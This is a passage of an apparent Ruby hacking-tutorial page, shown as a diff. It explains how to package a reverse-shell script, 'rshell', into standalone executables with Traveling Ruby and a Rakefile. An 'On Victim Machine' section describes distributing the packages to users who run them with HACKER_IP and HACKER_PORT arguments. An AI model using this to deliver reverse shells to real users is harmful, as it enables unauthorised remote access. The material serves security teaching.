cp packaging/wrapper.sh rshell-1.0.0-linux-x86_64/rshell
|
1376
|
+
cp packaging/wrapper.sh rshell-1.0.0-osx/rshell
|
1377
|
+
</code></pre><h5 id="finalizing-packages"><a name="finalizing-packages" class="plugin-anchor" href="#finalizing-packages"><span class="fa fa-link"></span></a>Finalizing packages</h5>
|
1378
|
+
<pre><code>tar -czf rshell-1.0.0-linux-x86.tar.gz rshell-1.0.0-linux-x86
|
1379
|
+
tar -czf rshell-1.0.0-linux-x86_64.tar.gz rshell-1.0.0-linux-x86_64
|
1380
|
+
tar -czf rshell-1.0.0-osx.tar.gz rshell-1.0.0-osx
|
1381
|
+
rm -rf rshell-1.0.0-linux-x86
|
1382
|
+
rm -rf rshell-1.0.0-linux-x86_64
|
1383
|
+
rm -rf rshell-1.0.0-osx
|
1384
|
+
</code></pre><p>Congratulations, you have created packages using Traveling Ruby!</p>
|
1385
|
+
<p>An x86 Linux user could now use your app like this:</p>
|
1386
|
+
<ol>
|
1387
|
+
<li>The user downloads rshell-1.0.0-linux-x86.tar.gz.</li>
|
1388
|
+
<li>The user extracts this file.</li>
|
1389
|
+
<li>The user runs your app:</li>
|
1390
|
+
</ol>
|
1391
|
+
<pre><code>/path-to/rshell-1.0.0-linux-x86/rshell
|
1392
|
+
# => ruby rshell.rb.rb [HACKER_IP HACKER_PORT]
|
1393
|
+
</code></pre><h5 id="automating-the-process"><a name="automating-the-process" class="plugin-anchor" href="#automating-the-process"><span class="fa fa-link"></span></a>Automating the process</h5>
|
1394
|
+
<p>Going through all of the above steps on every release is a hassle, so you should automate the packaging process, for example by using Rake. Here's how the Rakefile could look like:</p>
|
1395
|
+
<pre><code class="lang-ruby"><span class="hljs-constant">PACKAGE_NAME</span> = <span class="hljs-string">"rshell"</span>
|
1396
|
+
<span class="hljs-constant">VERSION</span> = <span class="hljs-string">"1.0.0"</span>
|
1397
|
+
<span class="hljs-constant">TRAVELING_RUBY_VERSION</span> = <span class="hljs-string">"20150210-2.1.5"</span>
|
1398
|
+
|
1399
|
+
desc <span class="hljs-string">"Package your app"</span>
|
1400
|
+
task <span class="hljs-symbol">:package</span> => [<span class="hljs-string">'package:linux:x86'</span>, <span class="hljs-string">'package:linux:x86_64'</span>, <span class="hljs-string">'package:osx'</span>]
|
1401
|
+
|
1402
|
+
namespace <span class="hljs-symbol">:package</span> <span class="hljs-keyword">do</span>
|
1403
|
+
namespace <span class="hljs-symbol">:linux</span> <span class="hljs-keyword">do</span>
|
1404
|
+
desc <span class="hljs-string">"Package your app for Linux x86"</span>
|
1405
|
+
task <span class="hljs-symbol">:x86</span> => <span class="hljs-string">"packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-linux-x86.tar.gz"</span> <span class="hljs-keyword">do</span>
|
1406
|
+
create_package(<span class="hljs-string">"linux-x86"</span>)
|
1407
|
+
<span class="hljs-keyword">end</span>
|
1408
|
+
|
1409
|
+
desc <span class="hljs-string">"Package your app for Linux x86_64"</span>
|
1410
|
+
task <span class="hljs-symbol">:x86_64</span> => <span class="hljs-string">"packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-linux-x86_64.tar.gz"</span> <span class="hljs-keyword">do</span>
|
1411
|
+
create_package(<span class="hljs-string">"linux-x86_64"</span>)
|
1412
|
+
<span class="hljs-keyword">end</span>
|
1413
|
+
<span class="hljs-keyword">end</span>
|
1414
|
+
|
1415
|
+
desc <span class="hljs-string">"Package your app for OS X"</span>
|
1416
|
+
task <span class="hljs-symbol">:osx</span> => <span class="hljs-string">"packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-osx.tar.gz"</span> <span class="hljs-keyword">do</span>
|
1417
|
+
create_package(<span class="hljs-string">"osx"</span>)
|
1418
|
+
<span class="hljs-keyword">end</span>
|
1419
|
+
<span class="hljs-keyword">end</span>
|
1420
|
+
|
1421
|
+
file <span class="hljs-string">"packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-linux-x86.tar.gz"</span> <span class="hljs-keyword">do</span>
|
1422
|
+
download_runtime(<span class="hljs-string">"linux-x86"</span>)
|
1423
|
+
<span class="hljs-keyword">end</span>
|
1424
|
+
|
1425
|
+
file <span class="hljs-string">"packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-linux-x86_64.tar.gz"</span> <span class="hljs-keyword">do</span>
|
1426
|
+
download_runtime(<span class="hljs-string">"linux-x86_64"</span>)
|
1427
|
+
<span class="hljs-keyword">end</span>
|
1428
|
+
|
1429
|
+
file <span class="hljs-string">"packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-osx.tar.gz"</span> <span class="hljs-keyword">do</span>
|
1430
|
+
download_runtime(<span class="hljs-string">"osx"</span>)
|
1431
|
+
<span class="hljs-keyword">end</span>
|
1432
|
+
|
1433
|
+
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">create_package</span><span class="hljs-params">(target)</span></span>
|
1434
|
+
package_dir = <span class="hljs-string">"<span class="hljs-subst">#{<span class="hljs-constant">PACKAGE_NAME</span>}</span>-<span class="hljs-subst">#{<span class="hljs-constant">VERSION</span>}</span>-<span class="hljs-subst">#{target}</span>"</span>
|
1435
|
+
sh <span class="hljs-string">"rm -rf <span class="hljs-subst">#{package_dir}</span>"</span>
|
1436
|
+
sh <span class="hljs-string">"mkdir -p <span class="hljs-subst">#{package_dir}</span>/lib/app"</span>
|
1437
|
+
sh <span class="hljs-string">"cp rshell.rb <span class="hljs-subst">#{package_dir}</span>/lib/app/"</span>
|
1438
|
+
sh <span class="hljs-string">"mkdir <span class="hljs-subst">#{package_dir}</span>/lib/ruby"</span>
|
1439
|
+
sh <span class="hljs-string">"tar -xzf packaging/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-<span class="hljs-subst">#{target}</span>.tar.gz -C <span class="hljs-subst">#{package_dir}</span>/lib/ruby"</span>
|
1440
|
+
sh <span class="hljs-string">"cp packaging/wrapper.sh <span class="hljs-subst">#{package_dir}</span>/rshell"</span>
|
1441
|
+
<span class="hljs-keyword">if</span> !<span class="hljs-constant">ENV</span>[<span class="hljs-string">'DIR_ONLY'</span>]
|
1442
|
+
sh <span class="hljs-string">"tar -czf <span class="hljs-subst">#{package_dir}</span>.tar.gz <span class="hljs-subst">#{package_dir}</span>"</span>
|
1443
|
+
sh <span class="hljs-string">"rm -rf <span class="hljs-subst">#{package_dir}</span>"</span>
|
1444
|
+
<span class="hljs-keyword">end</span>
|
1445
|
+
<span class="hljs-keyword">end</span>
|
1446
|
+
|
1447
|
+
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">download_runtime</span><span class="hljs-params">(target)</span></span>
|
1448
|
+
sh <span class="hljs-string">"cd packaging && curl -L -O --fail "</span> +
|
1449
|
+
<span class="hljs-string">"http://d6r77u77i8pq3.cloudfront.net/releases/traveling-ruby-<span class="hljs-subst">#{<span class="hljs-constant">TRAVELING_RUBY_VERSION</span>}</span>-<span class="hljs-subst">#{target}</span>.tar.gz"</span>
|
1450
|
+
<span class="hljs-keyword">end</span>
|
1451
|
+
</code></pre>
|
1452
|
+
<p>You can then create all 3 packages by running:</p>
|
1453
|
+
<pre><code>rake package
|
1454
|
+
</code></pre><p>You can also create a package for a specific platform by running one of:</p>
|
1455
|
+
<pre><code>rake package:linux:x86
|
1456
|
+
rake package:linux:x86_64
|
1457
|
+
rake package:osx
|
1458
|
+
</code></pre><p>You can also just create package directories, without creating the .tar.gz files, by passing DIR_ONLY=1:</p>
|
1459
|
+
<pre><code>rake package DIR_ONLY=1
|
1460
|
+
rake package:linux:x86 DIR_ONLY=1
|
1461
|
+
rake package:linux:x86_64 DIR_ONLY=1
|
1462
|
+
rake package:osx DIR_ONLY=1
|
1463
|
+
</code></pre><h5 id="on-victim-machine"><a name="on-victim-machine" class="plugin-anchor" href="#on-victim-machine"><span class="fa fa-link"></span></a>On Victim Machine</h5>
|
1464
|
+
<p>You now have three files which you can distribute to end users.</p>
|
1465
|
+
<pre><code>rshell-1.0.0-linux-x86.tar.gz
|
1466
|
+
rshell-1.0.0-linux-x86_64.tar.gz
|
1467
|
+
rshell-1.0.0-osx.tar.gz
|
1468
|
+
</code></pre><p>Suppose the end user is on Linux x86_64. S/he uses your app by downloading rshell-1.0.0-linux-x86_64.tar.gz, extracting it and running it:</p>
|
1469
|
+
<pre><code>wget rshell-1.0.0-linux-x86_64.tar.gz
|
1470
|
+
...
|
1471
|
+
tar xzf rshell-1.0.0-linux-x86_64.tar.gz
|
1472
|
+
cd rshell-1.0.0-linux-x86_64
|
1473
|
+
./rshell
|
1474
|
+
# => ruby rshell.rb.rb [HACKER_IP HACKER_PORT]
|
1475
|
+
</code></pre><h4 id="mruby"><a name="mruby" class="plugin-anchor" href="#mruby"><span class="fa fa-link"></span></a>mruby</h4>
|
1476
|
+
<p><strong>mruby CLI</strong><sup><a href="#fn_2" id="reffn_2">2</a></sup> A utility for setting up a CLI with mruby that compiles binaries to Linux, OS X, and Windows.</p>
|
1477
|
+
<h5 id="prerequisites"><a name="prerequisites" class="plugin-anchor" href="#prerequisites"><span class="fa fa-link"></span></a>Prerequisites</h5>
|
1478
|
+
<ul>
|
1479
|
+
<li>mruby-cli</li>
|
1480
|
+
<li>Docker</li>
|
1481
|
+
<li>Docker Compose</li>
|
1482
|
+
</ul>
|
1483
|
+
<h5 id="developer-introduction"><a name="developer-introduction" class="plugin-anchor" href="#developer-introduction"><span class="fa fa-link"></span></a>Developer introduction</h5>
|
1484
|
+
<p><a href="https://www.youtube.com/watch?v=OvuZ8R4Y9xA" target="_blank">https://www.youtube.com/watch?v=OvuZ8R4Y9xA</a></p>
|
1485
|
+
<h2 id="close-source-code"><a name="close-source-code" class="plugin-anchor" href="#close-source-code"><span class="fa fa-link"></span></a>Close Source code</h2>
|
1486
|
+
<p>Sometimes we don't want to disclose our source code for whatever reason, but we still want to share our applications either commercially or for free. Here a commercial solution for that purpose, RubyEncoder.</p>
|
1487
|
+
<p><strong>RubyEncoder</strong><sup><a href="#fn_3" id="reffn_3">3</a></sup> protects Ruby scripts by compiling Ruby source code into a bytecode format and this is followed by encryption. This protects your scripts from reverse engineering. Ruby scripts protected with RubyEncoder can be executed but cannot be used to extract Ruby source code as there is no source code remaining within the protected script in any form.</p>
|
1488
|
+
<h2 id=""><a name="" class="plugin-anchor" href="#"><span class="fa fa-link"></span></a><br><br><br></h2>
|
1489
|
+
<blockquote id="fn_1">
|
1490
|
+
<sup>1</sup>. Traveling-ruby: <a href="http://phusion.github.io/traveling-ruby/" target="_blank">Official website</a><a href="#reffn_1" title="Jump back to footnote [1] in the text."> ↩</a>
|
1491
|
+
</blockquote>
|
1492
|
+
<blockquote id="fn_2">
|
1493
|
+
<sup>2</sup>. mruby CLI: <a href="https://github.com/hone/mruby-cli" target="_blank">Official website</a><a href="#reffn_2" title="Jump back to footnote [2] in the text."> ↩</a>
|
1494
|
+
</blockquote>
|
1495
|
+
<blockquote id="fn_3">
|
1496
|
+
<sup>3</sup>. RubyEncoder: <a href="http://rubyencoder.com" target="_blank">Official website</a><a href="#reffn_3" title="Jump back to footnote [3] in the text."> ↩</a>
|
1497
|
+
</blockquote>
|
1498
|
+
|
1499
|
+
|
1500
|
+
</section>
|
1501
|
+
|
1502
|
+
|
1503
|
+
</div>
|
1504
|
+
</div>
|
1505
|
+
</div>
|
1506
|
+
|
1507
|
+
|
1508
|
+
<a href="../module_0x1__basic_ruby_kung_fu/array.html" class="navigation navigation-prev " aria-label="Previous page: Array"><i class="fa fa-angle-left"></i></a>
|
1509
|
+
|
1510
|
+
|
1511
|
+
<a href="../module_0x2__system_kung_fu/command_execution.html" class="navigation navigation-next " aria-label="Next page: Command Execution"><i class="fa fa-angle-right"></i></a>
|
1512
|
+
|
1513
|
+
</div>
|
1514
|
+
</div>
|
1515
|
+
|
1516
|
+
|
1517
|
+
<script src="../gitbook/app.js"></script>
|
1518
|
+
|
1519
|
+
|
1520
|
+
<script src="../gitbook/plugins/gitbook-plugin-splitter/splitter.js"></script>
|
1521
|
+
|
1522
|
+
|
1523
|
+
|
1524
|
+
<script src="../gitbook/plugins/gitbook-plugin-book-summary-scroll-position-saver/book-summary-scroll-position-saver.js"></script>
|
1525
|
+
|
1526
|
+
|
1527
|
+
|
1528
|
+
<script src="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.js"></script>
|
1529
|
+
|
1530
|
+
|
1531
|
+
|
1532
|
+
<script src="../gitbook/plugins/gitbook-plugin-search/lunr.min.js"></script>
|
1533
|
+
|
1534
|
+
|
1535
|
+
|
1536
|
+
<script src="../gitbook/plugins/gitbook-plugin-search/search.js"></script>
|
1537
|
+
|
1538
|
+
|
1539
|
+
|
1540
|
+
<script src="../gitbook/plugins/gitbook-plugin-sharing/buttons.js"></script>
|
1541
|
+
|
1542
|
+
|
1543
|
+
|
1544
|
+
<script src="../gitbook/plugins/gitbook-plugin-fontsettings/buttons.js"></script>
|
1545
|
+
|
1546
|
+
|
1547
|
+
<script>
|
1548
|
+
require(["gitbook"], function(gitbook) {
|
1549
|
+
var config = {"addcssjs":{"js":["styles/header.js"]},"anchors":{},"todo":{},"splitter":{},"book-summary-scroll-position-saver":{},"expandable-chapters":{},"highlight":{},"search":{"maxIndexSize":1000000},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2}};
|
1550
|
+
gitbook.start(config);
|
1551
|
+
});
|
1552
|
+
</script>
|
1553
|
+
|
1554
|
+
|
1555
|
+
</body>
|
1556
|
+
|
1557
|
+
</html>
|